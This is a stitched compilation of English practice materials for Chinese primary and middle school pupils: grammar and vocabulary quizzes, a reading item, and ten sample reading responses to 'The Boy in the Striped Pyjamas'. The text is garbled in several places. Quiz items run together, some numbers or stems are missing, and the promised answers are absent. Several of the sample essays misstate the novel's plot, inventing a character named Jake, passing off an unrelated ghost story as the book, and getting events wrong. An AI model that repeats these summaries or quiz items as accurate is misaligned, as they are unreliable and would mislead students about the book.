Homework for Chaper 8
小学五年级上册J卷英语第2单元期测验题(答案和解释)
小学五年级上册英语第2单元期测验题(答案和解释)英语试题一、综合题(本题有50小题，每小题2分，共100分.每小题不选、错误，均不给分)1.Which word is used to say goodbye?A. HelloB. GoodbyeC. Good morningD. Please2.What do you use to write on a board?A. PenB. ChalkC. PencilD. Eraser3.Which animal can swim?A. DogB. BirdC. FishD. Cat4.Which of these is used for cutting?A. ForkB. SpoonC. KnifeD. Plate5.On Sundays, my family __________ (visit) my grandparents. We __________ (have) lunch together, and after that, we __________ (go) for a walk in the park. My brother__________ (love) playing with the dogs in the park, and I __________ (enjoy) reading under a tree.6.Which one is a pet?A. DogB. TigerC. LionD. Elephant7.My school is very big. It has many classrooms, a library, and a __. We have __ there every week. The school also has a __ where we can play sports like __ and __. I really enjoy my time at school with my friends and teachers.8.Which of these is a part of the body?A. HandB. TableC. TreeD. Chair9.Which of these is a wild animal?A. DogB. LionC. CowD. Horse10.The students ______ (study) for their exams all week. They ______ (take) a break on Friday afternoon and ______ (play) soccer together. Some of them ______ (feel) nervous, but most ______ (be) confident. They ______ (work) very hard, so I believe they ______ (do) well in the exams.11.Which season comes after winter?A. SummerB. AutumnC. SpringD. Fall12.Every morning, I ______ (wake) up at 7 o’clock. After I ______ (get) out of bed, I ______ (brush) my teeth and ______ (eat) breakfast. Then, I ______ (put) on my school uniform and ______ (leave) for school. I ______ (arrive) at school at 8 o’clock.13.You are going to the store with your parents. You need to buy some milk, bread, and eggs. What are you going to buy?A. ClothesB. GroceriesC. ToysD. Books14.Which of these animals has feathers?A. FishB. DogC. BirdD. Cow15.Which of these is used to cut paper?A. ScissorsB. KnifeC. PlateD. Fork16.Sarah and her friends are having a picnic in the park. They lay a big __________ on the grass. Sarah brought some __________, and her friend Lucy brought some__________. After eating, they play some games, like tag and __________. Everyone is enjoying the sunny day.17.It is a __________ day today, so we are going to the __________. I will bring my __________ to play with my friends. My mom will bring a __________ so we can have a picnic. I like to eat __________ and drink __________ at the beach. After playing, we will take a __________ in the sun.18.This afternoon, we __________ (1) a picnic in the park. My father __________ (2) sandwiches, and my mother __________ (3) juice. We __________ (4) a great time playing games and __________ (5) food. I __________ (6) some photos with my camera. It __________ (7) a beautiful day.19.I ______ (go) to the library every weekend. Last Saturday, I ______ (borrow) a book about dinosaurs. I ______ (read) it for two hours. The book ______ (be) very interesting. I ______ (learn) a lot of new things. After reading, I ______ (return) the book and ______ (borrow) another one about space.20.Which animal can swim?A. ElephantB. BirdC. FishD. Tiger21.Which of these is a season?A. WinterB. FridayC. JanuaryD. Tuesday22.How do you say "谢谢" in English?A. PleaseB. SorryC. Thank youD. Goodbye23.Which one is a fruit?A. DogB. AppleC. ChairD. Table24.Every day, I ______ (walk) to school. I ______ (leave) my house at 7:30 a.m. and ______ (arrive) at school at 8:00 a.m. Yesterday, I ______ (leave) a bit late and ______ (miss) the bus. I ______ (run) to school and ______ (arrive) just in time.25.Which one is a color?A. JumpB. GreenC. RunD. Sing26.Lily and her friends are preparing for a field trip to the __________. They are going to see __________ and learn about their habitat. Lily is excited because she loves animals and wants to become a __________ when she grows up. Her friend Tim is going to bring a __________ to take notes during the trip. They will also take __________ to capture the memories. After the field trip, they are going to have a picnic in the __________ and enjoy their lunch.27.I __________ (1) to the library every Saturday. I __________ (2) books about animals and __________ (3) them at home. My little brother __________ (4) to read stories about dinosaurs, and I __________ (5) to read about sea creatures.28.Which of these animals has a long neck?A. GiraffeB. LionC. ElephantD. Tiger29.Which of these is a day of the week?A. WednesdayB. SpoonC. ChairD. Plate30.Which one is a beverage?A. AppleB. WaterC. BreadD. Carrot31.Which of these is a color?A. GreenB. SpoonC. HatD. Shirt32.Which of these is a holiday?A. ChristmasB. MondayC. SeptemberD. Winter33.Every Saturday, my family goes to the __. We buy vegetables and fruits like __, __, and __. My dad always picks the __ because they are fresh and sweet. After shopping, we go to a café to drink __ and eat some __. We love spending time together as a family.34.What is the color of a banana?A. GreenB. YellowC. RedD. Purple35.Which of the following is a vegetable?A. AppleB. CarrotC. OrangeD. Grape36.Jack and his family are going to the beach for a day of fun. They pack a__________ (bag) with towels, sunscreen, and their __________ (swimsuits) for swimming. Jack loves playing beach volleyball, so he also brings a __________ (ball) to the beach. In the afternoon, they enjoy a __________ (snack) while watching the sunset.37.Tom is practicing his piano at home. He starts by playing the __________ to warm up his fingers. After that, he practices a __________ he learned in his music class. Tom is working hard to become a better __________ because he wants to perform at the school talent show.38.Which one is a tool?A. HammerB. CarC. DogD. Plate39.What do we call the sound a cat makes?A. BarkB. MeowC. RoarD. Moost holiday, I __________ (1) to the mountains with my friends. We __________ (2) hiking and __________ (3) many beautiful photos. We __________ (4) a great time there.41.Which one is a body part?A. TableB. ChairC. ArmD. Pen42.Which of these is a means of transportation?A. BicycleB. PlateC. ChairD. Spoonst Saturday, I _______ (visit) my grandparents. We _______ (spend) the whole day together. In the morning, we _______ (go) to the market, and in the afternoon, we_______ (play) cards. I _______ (help) Grandma with cooking dinner, and we _______ (eat) a big meal together.44.Which one is a color?A. BlueB. ChairC. TableD. Dog45.What do you use to cut paper?A. KnifeB. ForkC. ScissorsD. Plate46.Which of these is a type of flower?A. PineB. TulipC. OakD. Maple47.What is the opposite of "fast"?A. SlowB. TallC. ShortD. Big48.Jack is at school today. He has a lot of homework. First, he needs to finish his__________ homework. The teacher asked them to read a chapter from the __________. Jack writes down the answers to the questions and checks his __________. He also needs to study for his __________ test tomorrow. After finishing, Jack feels tired but proud of his work.49.What do we use to write on paper?A. KnifeB. EraserC. PenD. Plate50.Which of these animals has scales?A. FishB. DogC. CatD. Bird(答案及解释)。
初二梦想与目标英语阅读理解30题
初二梦想与目标英语阅读理解30题1<背景文章>Tom is a student in Grade Eight. He has a big dream. He wants to become a scientist when he grows up. Tom is very interested in science. He spends a lot of his free time reading science books and doing experiments.He knows that becoming a scientist is not easy. It requires a lot of hard work and dedication. Tom is not afraid of difficulties. He studies hard at school. He listens carefully in class and takes good notes. After class, he does his homework carefully and asks his teachers and classmates for help when he has problems.Tom also participates in science competitions. He wants to improve his scientific skills and knowledge through these competitions. He believes that only by constantly learning and improving can he achieve his dream.1. What does Tom want to be when he grows up?A. A teacher.B. A doctor.C. A scientist.D. An engineer.答案：C。
穿着条纹睡衣的男孩2-8章读后感英文
穿着条纹睡衣的男孩2-8章读后感英文全文共10篇示例，供读者参考篇1Chapter 2:In the second chapter of "The Boy in the Striped Pyjamas", Bruno meets a boy named Shmuel who is wearing striped pyjamas on the other side of the fence. At first, Bruno is confused about why Shmuel is wearing pyjamas during the day. However, he soon realizes that they are living in very different circumstances. This chapter shows us that even though they come from different backgrounds, Bruno and Shmuel can still become friends.Chapter 3:In this chapter, Bruno starts visiting Shmuel regularly on the other side of the fence. Despite the differences in their lives, they find common ground and enjoy each other's company. Bruno learns about Shmuel's life in the camp and starts to understand the harsh reality of the situation. This chapter highlights the power of friendship and how it can transcend barriers.Chapter 4:As Bruno continues to visit Shmuel, he becomes more aware of the injustices happening in the camp. He sees how Shmuel is treated differently because of his background and realizes the importance of standing up for what is right. This chapter teaches us about the impact of discrimination and the importance of empathy towards others.Overall, "The Boy in the Striped Pyjamas" is a powerful and thought-provoking book that explores themes of friendship, empathy, and the consequences of prejudice. Through the eyes of Bruno and Shmuel, we are reminded of the importance of treating others with kindness and understanding, regardless of our differences. This book serves as a reminder of the impact of our actions and the need to stand up for what is right.篇2Chapter 2So, this book is all about this boy who wears striped pajamas.I mean, who wears pajamas to school, right? But for some reason, this boy does. His name is Jake and he's always getting into trouble because of those silly pajamas. But I guess that's whatmakes him different from everyone else. He's not afraid to be himself, even if it means standing out.Chapter 3In this chapter, Jake decides to wear his striped pajamas to a class trip to the zoo. Can you believe it? Everyone else is wearing regular clothes but not Jake. He's just rocking those pajamas like it’s no big deal. And you know what? He actually ends up having the best time at the zoo. He makes friends with the monkeys and even gets to feed the lions. Who knew pajamas could be so cool?Chapter 4Things start to get a little crazy in this chapter. Jake's classmates start making fun of him for wearing pajamas to school. They call him all sorts of names like "Pajama Boy" and "Striped Freak." But you know what Jake does? He doesn't let it get to him. He just shrugs it off and goes about his day like nothing happened. I wish I could be as brave as Jake.Chapter 5In this chapter, Jake's teacher assigns a project to the class. Everyone has to dress up as their favorite book character and give a presentation. Jake is so excited because he finally gets toshow off his striped pajamas. But when he walks into the classroom dressed as the boy from his favorite book, no one says a word. They just stare at him like he's from another planet. Poor Jake. I hope things get better for him soon.Chapter 6The chapter follows Jake as he navigates his way through the tough world of elementary school. He faces bullies, struggles with homework, and tries to make new friends. But through it all, he never loses his sense of humor or his love for his striped pajamas. He learns that being different is OK and that it's what makes him special. I admire Jake for his bravery and his ability to stay true to himself.Chapter 7As Jake grows older, he starts to realize that being different isn't always easy. People still make fun of him for wearing his striped pajamas, but he doesn't let it bother him. He knows that he's unique and that's all that matters. He even starts a pajama club at school where kids can come and hang out in their favorite sleepwear. Jake's confidence inspires others to embrace their quirks and be proud of who they are.Chapter 8This final chapter is all about Jake's journey toself-acceptance. He learns to love himself and his pajamas, no matter what anyone else thinks. He becomes a role model for kids who feel different or out of place. Jake teaches us that it's OK to be ourselves, even if it means standing out in a crowd. I'll never look at pajamas the same way again. Thank you, Jake, for showing us what true courage looks like.篇3Chapter 2So, in Chapter 2 of "The Boy in the Striped Pyjamas," Bruno and his family move to a new house in a place called "Out-With." Bruno doesn't really like their new house, especially because it's smaller than their old one. He also misses his friends and his grandma back in Berlin. But, he decides to explore the surroundings of his new house.Chapter 3In Chapter 3, while exploring, Bruno sees a fence with people on the other side wearing striped pyjamas. He wonders why these people are wearing such strange clothes and why they all look sad and tired. He also meets a boy named Shmuel who liveson the other side of the fence. Bruno and Shmuel become friends and talk to each other through the fence.Chapter 4Chapter 4 is really sad because Bruno finds out that Shmuel is a Jewish boy who is kept in a concentration camp by the Nazis. Bruno doesn't understand why Shmuel and the other people in the camp are treated so badly. He starts to question his father's job as a Nazi officer and begins to realize that not everything is as it seems.These chapters are really interesting and make me think about how people should be treated with kindness and respect, no matter where they come from or what they believe in. I hope that Bruno and Shmuel can stay friends and find a way to escape from the terrible place they are in. I can't wait to read the next chapters and see what happens next!篇4Title: Thoughts after Reading "The Boy in the Striped Pyjamas"Chapter 1Hey guys! Today I want to share with you my thoughts after reading "The Boy in the Striped Pyjamas". This book is super sad and made me feel all kinds of emotions. It's about a boy named Bruno and his friend Shmuel who live on opposite sides of a fence during World War II. It's really heartbreaking because they are both just kids but they can't be friends because of the war.Chapter 2One thing I learned from the book is that friendship is so important. Bruno and Shmuel are from different backgrounds but they still become friends and care for each other. It shows that friendship can help us overcome any obstacles, even in difficult times like war.Chapter 3Another thing that stood out to me is how unfair the world can be sometimes. Bruno and Shmuel didn't choose to be on different sides of the fence, but the adults in their lives put them there because of the war. It made me realize that we should always try to be kind to others and treat everyone with respect, no matter where they come from.Chapter 4The ending of the book really made me think about how precious life is. Without giving away any spoilers, the ending is so sad and unexpected. It made me appreciate the people in my life and reminded me to never take anything for granted.Chapter 5Overall, "The Boy in the Striped Pyjamas" is a powerful and thought-provoking book that teaches us important lessons about friendship, kindness, and the impact of war. It made me feel grateful for the people in my life and reminded me to always treat others with compassion and understanding.I hope you guys give this book a read and let me know what you think! Let's all strive to be better friends and make the world a kinder place. Thank you for listening to my thoughts!篇5Chapter 2:Oh wow! The boy wearing striped pajamas made a new friend, and his name is Shmuel. They started talking and playing together every day. It's so nice to see them having fun and sharing snacks. I think Shmuel is a good friend, and he seems really kind. I can't wait to see what they will do next!Chapter 3:Things are getting more exciting in the book. The boy in the striped pajamas found out that Shmuel is on the other side of a fence and they can't play together like before. It's so sad! I feel really bad for them. Why can't they be together? I hope they find a way to be friends again.Chapter 4:Wow, the boy in the striped pajamas decided to go to the other side of the fence to help Shmuel! He is so brave and kind. I was nervous for them, but I'm glad they are together again. They are going on an adventure now, and I'm curious to see what will happen next. I hope they stay safe and happy.Chapter 5:I can't believe what happened in this chapter. The boys went to search for Shmuel's dad, but they got separated. It's so scary! I hope they find each other soon. The boy in the striped pajamas must be so worried. I really want everything to be okay for them. They are such good friends, and they deserve to be happy.Chapter 6:Oh no, things are getting even more intense. The boy in the striped pajamas and Shmuel are in big trouble now. They are in aplace called Auschwitz, and it's really dangerous. I'm so worried about them! Will they be okay? Will they find their way back to safety? I can't stop thinking about what will happen next.Chapter 7:I can't believe the ending of this chapter. It's so sad and heartbreaking. The boy in the striped pajamas and Shmuel are in a terrible situation, and I don't know how they will get out of it. I wish they could be safe and happy together. I hope there will be a happy ending for them, even though things look really bad right now.Chapter 8:The book has come to an end, and I have so many feelings about it. The boy in the striped pajamas and Shmuel's story is so touching and emotional. I cried a lot at the end, but I also felt hopeful. Their friendship was so strong, and it showed me how important it is to be kind and caring to others. I will never forget this book, and I will always remember the boys in their striped pajamas.篇6Chapter 2: The Mystery of the Striped PajamasHey guys, so I just finished reading the second chapter of "The Boy in the Striped Pajamas" and it's getting more and more interesting! In this chapter, Bruno tries to figure out why all the people on the other side of the fence are wearing the same striped pajamas. He asks his mom and dad about it, but they just tell him to stay away from that side of the house.I feel like Bruno is really curious and brave for trying to find out the truth about what's going on. I can't wait to see what he discovers in the next chapter!Chapter 3: Meeting ShmuelGuess what guys, Bruno finally made a friend from the other side of the fence in this chapter! His name is Shmuel and he's wearing the same striped pajamas as everyone else. Bruno feels bad for Shmuel because he looks so skinny and sad.I think it's really cool that Bruno wants to be friends with Shmuel even though they're from different worlds. Friendship is so important and I can't wait to see how their friendship grows in the next chapters.Chapter 4: The Secret MeetingOMG guys, things are getting super intense in this chapter! Bruno and Shmuel have been sneaking off to meet each other atthe fence every day. They talk and play games together, and Bruno even brings Shmuel some food because he's so hungry.I think it's so nice of Bruno to be such a good friend to Shmuel. But I'm also worried about what might happen if someone finds out about their secret meetings. I can't wait to see what twists and turns come next in the story!Chapter 5: The Big DiscoveryGuys, I just finished reading chapter 5 and I can't believe what happened! Bruno snuck into the other side of the fence to help Shmuel find his missing dad. They end up going on a crazy adventure together and Bruno sees the horrors of the concentration camp.I was so shocked and sad to read about all the terrible things happening on the other side of the fence. It's so important to remember the lessons of history so that we can prevent these kinds of atrocities from happening again. I can't wait to see how Bruno's brave actions will impact the rest of the story.Chapter 6: The Heartbreaking EndingI can't stop crying guys, the ending of "The Boy in the Striped Pajamas" is so sad and heartbreaking. I won't spoil it foryou, but it's a reminder of the importance of kindness, empathy, and standing up for what's right.I feel like this book has taught me so much about the power of friendship, the dangers of prejudice, and the importance of never turning a blind eye to injustice. Even though it made me cry, I'm grateful for the opportunity to learn from Bruno and Shmuel's story.Overall, "The Boy in the Striped Pajamas" is a powerful and emotional book that will stay with me forever. I highly recommend it to all my friends so we can learn and grow together.篇7Chapter 2:Hey guys! So in the second chapter of “The Boy in the Striped Pyjamas”, Bruno is feeling pretty lonely in his new house. He misses his old friends and doesn’t understand why his family had to move so suddenly. But then he sees a boy in the distance wearing striped pyjamas and decides to go exploring. I think that’s pretty brave of him, don’t you?Chapter 3:Bruno meets the boy in the striped pyjamas, whose name is Shmuel. Shmuel is really different from Bruno –he’s Jewish and lives on the other side of a fence that Bruno’s not allowed to cross. But even though they come from different worlds, they become friends. I think it’s cool that they can look pas t their differences and just be friends, don’t you?Chapter 4:In this chapter, Bruno starts sneaking out of the house to visit Shmuel. They talk about their lives and Bruno learns about the terrible things happening on Shmuel’s side of the fence. It’s really sad to hear about what’s going on, but it also shows how important it is to treat everyone with kindness and respect, no matter where they come from. I think that’s a really important lesson, don’t you?Chapter 5:Things start to get even more serious in this chapter. Bruno’s dad gets a promotion and they have to move again, but this time to a place called “Out-With”. Bruno doesn’t want to leave Shmuel behind, but he doesn’t have a choice. It’s really heartbreak ing to see their friendship tested like this, but it also shows how strong their bond is. I think it’s amazing how much they care about each other, don’t you?Chapter 6:In the final chapter, everything comes to a head. Bruno and Shmuel make a plan to help Shmuel find his missing father, but it all goes terribly wrong. The boys end up in a terrible situation that changes their lives forever. It’s a really sad ending, but it also shows the power of friendship and how important it is to stand up for w hat’s right. I’m so glad I read this book, and I hope you guys enjoyed it too!So that’s my reading response to “The Boy in the Striped Pyjamas”. I hope you guys liked it! Let me know what you think in the comments. Thanks for reading!篇8Chapter 2:Hey guys! I just finished reading the second chapter of "The Boy in the Striped Pyjamas" and oh boy, things are getting intense! Bruno has been exploring his new home and he found a fence with people in striped pyjamas on the other side. I wonder who those people are and why they are all wearing the same clothes. I can't wait to find out more in the next chapter!Chapter 3:OMG, things are getting even more mysterious in chapter three! Bruno met a boy on the other side of the fence named Shmuel. Shmuel is wearing the same striped pyjamas as everyone else and he looks so sad. I feel so sorry for him and I really want to know why he's stuck behind that fence. This book is making me think a lot about how unfair the world can be sometimes.Chapter 4:Wow, chapter four was a rollercoaster of emotions! Bruno and Shmuel have become friends and they are sneaking around and talking to each other every day. Bruno even brought Shmuel some food because he looked so hungry. I love how their friendship is growing despite the big fence separating them. But I'm also getting a bad feeling that something really bad is going to happen soon. I hope they can stay friends no matter what.Chapter 5:I just finished reading chapter five and I have so many mixed feelings! Bruno's family is moving away from their home and Bruno is upset that he has to leave Shmuel behind. I can't believe his dad is involved in something so scary and dangerous. I feel so sad for Bruno and Shmuel because their friendship is being tornapart. I can't wait to see how everything turns out in the next chapter.I am really enjoying this book so far, even though it's making me feel a lot of different emotions. I can't wait to see what happens next and how Bruno and Shmuel's friendship will overcome all the obstacles in their way. This is definitely one of the best books I've ever read!篇9Chapter 2: The Mysterious HouseHey guys, have you ever been too curious about something that you just had to go investigate? Well, that's exactly how Tom felt when he saw the old house at the end of the street. It had been abandoned for as long as he could remember, and he was determined to find out what secrets it held.One dark and stormy night, when the wind was howling and the trees swayed ominously, Tom gathered his courage and crept towards the house. The windows were all boarded up, but he could see a faint light coming from inside. Taking a deep breath, he pushed the creaky door open and stepped inside.Chapter 3: The Ghostly EncounterAs Tom tiptoed through the dusty hallway, he heard a strange noise coming from the room at the end. He cautiously made his way towards it, his heart beating faster with every step. Pushing the door open, he found himself face to face with a ghostly figure.The ghost was transparent and floated in the air, emitting an eerie glow. Tom was frozen in fear, unable to move as the ghost spoke to him in a hollow voice. "Who dares to disturb my slumber?" it boomed, sending shivers down Tom's spine.Chapter 4: The Hidden TreasureDespite his fear, Tom managed to stammer out a question. "What are you doing here?" The ghost let out a chilling laugh and beckoned him closer. "I am the guardian of this house, and I have been waiting for someone brave enough to uncover the treasure hidden within these walls."Tom's eyes widened in disbelief. Treasure? In this old, abandoned house? The ghost nodded solemnly and guided him to a hidden trapdoor in the floor. With trembling hands, Tom lifted the door and gasped in amazement at the sight before him.Chapter 5: The Power of FriendshipUnderneath the trapdoor was a room filled with glittering jewels, piles of gold coins, and sparkling diamonds. Tom couldn't believe his eyes, and he turned to thank the ghost for showing him this incredible discovery. But to his surprise, the ghost had vanished, leaving only a faint whisper in the air.As Tom filled his pockets with the treasure, he realized that the real treasure lay not in the gold and jewels, but in the friendship he had forged with the ghost. He left the old house feeling grateful for the adventure and knowing that sometimes, the most precious things in life are the ones we find when we least expect them.And that's the end of my story about the boy in striped pajamas. It was super exciting and I hope you guys liked it too! Let's go on our own adventures and discover treasures together!篇10Chapter 2: In the second chapter of "The Boy in the Striped Pyjamas", the main character Bruno explores his new home at Out-With and meets a boy named Shmuel who lives on the other side of the fence. Despite their different circumstances, Bruno and Shmuel form a friendship and spend time talking through the fence.Chapter 3: As Bruno and Shmuel continue to get to know each other, Bruno becomes more curious about Shmuel's life on the other side of the fence. He starts to question why they are kept apart and why Shmuel is always so sad. Bruno's innocence and open-mindedness make him determined to find a way to help his new friend.Chapter 4: In this chapter, Bruno decides to sneak over to the other side of the fence to play with Shmuel. He puts on a pair of striped pyjamas to disguise himself and manages to slip through the barbed wire. However, the boys' innocent attempt at friendship takes a dark turn when they are caught by soldiers and separated.Chapter 5: After being caught, Bruno is scolded by his parents and forbidden to go near the fence again. He is left feeling confused and guilty about his actions, but he can't shake the feeling of wanting to help Shmuel. As Bruno reflects on the events that have unfolded, he starts to understand the harsh reality of the world outside of his sheltered life at Out-With.Chapter 6: As Bruno's friendship with Shmuel deepens, he becomes more aware of the injustice and cruelty that surrounds them. He witnesses the harsh treatment of Shmuel by the soldiers and is faced with the harsh reality of the situation.Despite the dangers and risks, Bruno is determined to stand by his friend and help him in any way he can.Chapter 7: In this chapter, Bruno's determination to help Shmuel leads to a risky plan to smuggle food to him through the fence. The boys meet secretly and share a moment of camaraderie as they enjoy the simple act of sharing a meal together. This moment of connection reminds Bruno of the power of friendship and the importance of standing up for what is right.Chapter 8: As the story continues, Bruno's bond with Shmuel grows stronger and he becomes more involved in helping his friend. Despite the risks and dangers, Bruno's compassion and bravery shine through as he navigates the complexities of their forbidden friendship. The emotional journey of the characters and the stark contrast between their lives serve as a poignant reminder of the impact of prejudice and the strength of human connection.。
小学五年级上册英语试题(答案及解释)
小学五年级上册英语试题(答案及解释)(共50道题)下面有答案和解题分析一、综合题1.I __________ (study) for my test last night. I __________ (feel) a little nervous, but after I __________ (study) hard, I __________ (feel) more confident. This morning, I__________ (take) the test and __________ (do) well.2.We _______ (not have) a test next Monday.3.What do we use to cut paper?A. scissorsB. penC. bookD. cup4.We _______ (go / goes / going) to the zoo every year.5.My sister ______ (study) at university. She ______ (want) to be a teacher. Every day, she ______ (go) to school by bus. She ______ (have) many classmates, and they ______ (study) together. Last week, she ______ (write) a paper about history. She ______ (finish) it on time.6.I _______ (study) for the test every evening.7.Which one is used to cut food?A. KnifeB. SpoonC. PlateD. Fork8.He _______ (eat) lunch at 12 o’clock every day.9.They _______ (go) to the park every Sunday.10.Which one is a holiday?A. TuesdayB. ChristmasC. SummerD. September11.I _______ (like) to play football after school.12.Which sentence is correct?A. She sometimes goes to the gym.B. She never goes to the gym sometimes.C. She goes sometimes to the gym.D. She to the gym goes sometimes.A. DollB. BookC. CarD. Ball14.They _______ to the zoo on weekends.15.Lily loves animals, and her favorite animal is the __________ (1). She learned that __________ (2) are very smart and live in groups. Today, she visited the __________ (3) to see the elephants. They are very large, and Lily was amazed by how they use their__________ (4) to pick up food. She also saw some __________ (5) playing near the water.16.They _______ (not/understand) English very well.17.You are watching a movie with your family. The characters are acting in a funny way, and everyone is laughing. What kind of movie is this?A. A dramaB. A comedyC. A horror movieD. A documentary18.He _______ (not/like) to study in the morning.19.Which one is a type of weather?A. MorningB. SummerC. ThursdayD. January20.Every summer, my family ______ (go) on vacation to the beach. We ______ (stay) in a hotel near the ocean. We ______ (swim) in the sea and ______ (build) sandcastles. Last summer, we ______ (visit) a new beach, and we ______ (have) a lot of fun.21.They _______ (not/understand) the question.22.Which of these is used to brush your teeth?A. TowelB. ToothbrushC. SpoonD. Fork23.She _______ (dance) every Saturday.24.My dog _______ (have/has) a long tail.25.Which of these is the opposite of "day"?A. NightB. MorningC. AfternoonD. Evening26.She _______ (eat / eats / ate) lunch at school.27.Which of these animals can run fast?A. ElephantB. CheetahC. TurtleD. DogA. TableB. CircleC. DogD. Car29.They _______ (watch) TV after school.30.He _______ (run) in the park every morning.31.We _______ (study) English now.32.What do you call a baby dog?A. KittenB. PuppyC. CalfD. Cub33.We _______ (play) soccer after school yesterday.34.Which of these animals is a mammal?A. FishB. DogC. BirdD. Turtle35.Which of these is a color?A. RunB. BlueC. JumpD. Sing36.Jack is at school today. He has a lot of homework. First, he needs to finish his__________ homework. The teacher asked them to read a chapter from the __________. Jack writes down the answers to the questions and checks his __________. He also needs to study for his __________ test tomorrow. After finishing, Jack feels tired but proud of his work.37.I ______ (have) a small garden in my backyard. Every morning, I ______ (water) the plants and ______ (check) if any flowers ______ (bloom). I also ______ (plant) new seeds in spring. It ______ (be) very relaxing to spend time in the garden.38.Which of these animals can live in water?A. DogB. FishC. TigerD. Monkey39.He _______ (write) an email to his friend.40.He _______ (play) soccer with his friends every day.41.Which of these is a shape?A. TableB. CircleC. ChairD. Book42.What is the color of grass?A. RedB. GreenC. BlueD. Yellow43.I __________ (1) a new book about animals. It __________ (2) a lot of interesting facts about elephants and giraffes. I __________ (3) to read it every day. My little brother __________ (4) the pictures in the book, and he __________ (5) to learn about lions. 44.Every morning, I wake up at __________. I go to the __________ to brush my__________ and wash my __________. After that, I get dressed in my __________ and have breakfast. For breakfast, I usually eat __________ and drink __________. After breakfast, I take my __________ and go to __________. I like school because I can learn __________ and play with my __________.45.They _______ (watch) TV every evening.46.Which of these is an animal?A. FishB. BookC. TableD. Chair47.Which one of these is a type of weather?A. ColdB. HeatC. RainD. Cloud48.Which animal is known for having a long neck?A. LionB. ElephantC. GiraffeD. Tiger49.I am learning to play the ______. It’s a difficult instrument, but I practice every day. My favorite song to play is ______, and I can almost play it perfectly now. My mom is proud of me, and she listens to me practice every afternoon. I hope to perform at my school’s talent show soon!st weekend, we __________ (go) to the zoo. We __________ (see) many animals like lions, tigers, and elephants. I __________ (like) the monkeys the most because they __________ (be) so funny! After we __________ (see) the animals, we __________ (eat) lunch at the zoo café. I __________ (have) a sandwich and some juice. After lunch, we__________ (take) a walk around the zoo and __________ (buy) some souvenirs. It__________ (be) a wonderful day.(答案及解释)。
小学三年级下册B卷英语第5单元期末试卷(答案和解释)
小学三年级下册英语第5单元期末试卷(答案和解释)英语试题一、综合题(本题有50小题，每小题2分，共100分.每小题不选、错误，均不给分)1.I have a new __________. It’s very __________, and it has a __________ screen. I can watch my favorite shows and play games on it. My little brother also loves to use it, but my parents say I should not play for too long. I like to use my __________ after school when I finish my homework. Sometimes, I use it to read __________ or listen to music. It’s really __________!2.He _______ to school by bus.A. goesB. goingC. is goingD. went3.I am planning to go camping with my family next weekend. We will set up a tent near a beautiful __. My dad will cook some __ on the campfire while we look at the stars. My sister will bring her __ to tell ghost stories. I can’t wait to enjo y the peaceful night in the __.4.Every morning, I _______ (wake) up at 6:30, and then I _______ (get) dressed and _______ (eat) breakfast. Today, I _______ (forget) to set my alarm, so I _______ (wake) up late. I _______ (rush) to get ready and _______ (miss) the bus.5.In the morning, I take the bus to school. My school is not far from my house, but I like taking the bus because I can meet my friends. We talk and laugh together during the ride. After school, I walk back home.6.Which of these is a shape?A. SquareB. CarC. BookD. Spoon7.What do we drink from?A. PlateB. CupC. SpoonD. Fork8.When we _______ at the station, the train had already left. We were too late! (arrive, arrived, arriving, arrives)9.Which one is the opposite of "old"?A. YoungB. SlowC. TallD. Fast10.What do we use to clean our teeth?A. SoapB. ToothbrushC. TowelD. Comb11.I ______ (like) to read books before bed. My favorite book ______ (be) a story about a brave knight. Every night, I ______ (read) one chapter. I ______ (imagine) myself as the knight, and I ______ (think) about the story during the day. My little sister ______ (like) the same book too.12.Yesterday, my family and I _______ (go) to the park. The weather _______ (be) sunny and warm, so we _______ (decide) to have a picnic. We _______ (find) a nice spot under a big tree and _______ (sit) down to eat. My little brother _______ (play) with a ball while my parents _______ (chat) nearby. After lunch, we _______ (take) a walk around the lake. We _______ (see) a few ducks swimming. It _______ (be) a relaxing day, and we _______ (enjoy) it very much.13.Which one is a type of animal?A. DolphinB. TableC. ChairD. Plate14.Today is Peter’s birthday! He is very __________ (1) because he is havin g a__________ (2) at home. Many of his friends are coming to celebrate. Peter’s parents made a huge __________ (3) with chocolate and __________ (4). They also bought some __________ (5) for the guests. After eating cake, they played __________ (6) and danced to __________ (7). Peter received a __________ (8) from his best friend. He was so __________ (9) with all his gifts.15.Which of these is used to clean the floor?A. BroomB. PlateC. ForkD. Knife16.What is the opposite of "happy"?A. TallB. SadC. BigD. Heavy17.Which of these is a holiday?A. SundayB. ChristmasC. WinterD. Thursday18.Every afternoon, I __________ (play) basketball with my friends at school. We__________ (enjoy) playing together, and sometimes we __________ (have) a little competition. After the game, we __________ (sit) on the grass and __________ (talk) about our favorite players.19.Which of these is an insect?A. ButterflyB. DogC. ElephantD. Fish20.Which of these is a vegetable?A. TomatoB. OrangeC. BananaD. Carrot21.In the summer, I __________ (1) to the beach with my family. We __________ (2) swimming in the sea and __________ (3) sandcastles on the shore. My brother__________ (4) to collect seashells, while I __________ (5) to play beach volleyball. We __________ (6) a great time together.22.What is the opposite of "happy"?A. AngryB. SadC. ExcitedD. Joyful23.Which of these is the opposite of "up"?A. DownB. LeftC. RightD. Forward24.We __________ (go) on a picnic last Saturday. The weather __________ (be) perfect, and we __________ (enjoy) the sunshine. We __________ (eat) sandwiches and fruit, and we __________ (play) frisbee. It __________ (be) a wonderful day.25.Anna is looking at the stars in the __________. She uses a __________ to see them more clearly. Anna’s mom tells her about the different __________ in the sky, like the __________.26.Which of these is a food item?A. CarB. PizzaC. ChairD. Table27.What do you use to clean your body?A. ToothbrushB. TowelC. SoapD. Shoes28.Which of these is a color?A. BlueB. DogC. TableD. Chair29.Which animal is a pet?A. lionB. dogC. elephantD. whale30.Tom and his classmates are at the __________. They are learning about different kinds of __________ and how they live in various environments. Today, they are studying the __________, which is known for its ability to survive in very hot temperatures. Tom finds this animal very __________ and wants to learn more.31.Which one is a drink?A. BreadB. MilkC. EggD. Rice32.In the morning, I __________ (1) up at 7:00 AM. Then I __________ (2) breakfast, and my mother __________ (3) me to school. I __________ (4) a lunch box with me every day. After school, I __________ (5) my homework and __________ (6) to play. 33.Yesterday afternoon, I __________ (go) to the park with my friends. We__________ (play) basketball for two hours. After the game, we __________ (eat) ice cream and __________ (talk) about school. I __________ (have) a lot of fun, and I__________ (feel) very happy.34.I ______ (feel) very tired yesterday because I ______ (stay) up late the night before.I ______ (not want) to go to school, but I ______ (get) up anyway and ______ (go) to class.35.What do we use to clean the floor?A. MopB. ForkC. PlateD. Cup36.Tom is cleaning his room. He is putting his toys in a __________ (1) and his books on a __________ (2). After cleaning, he sweeps the __________ (3) and wipes the__________ (4).37.In the afternoon, we __________ (have) an art lesson. Our teacher __________ 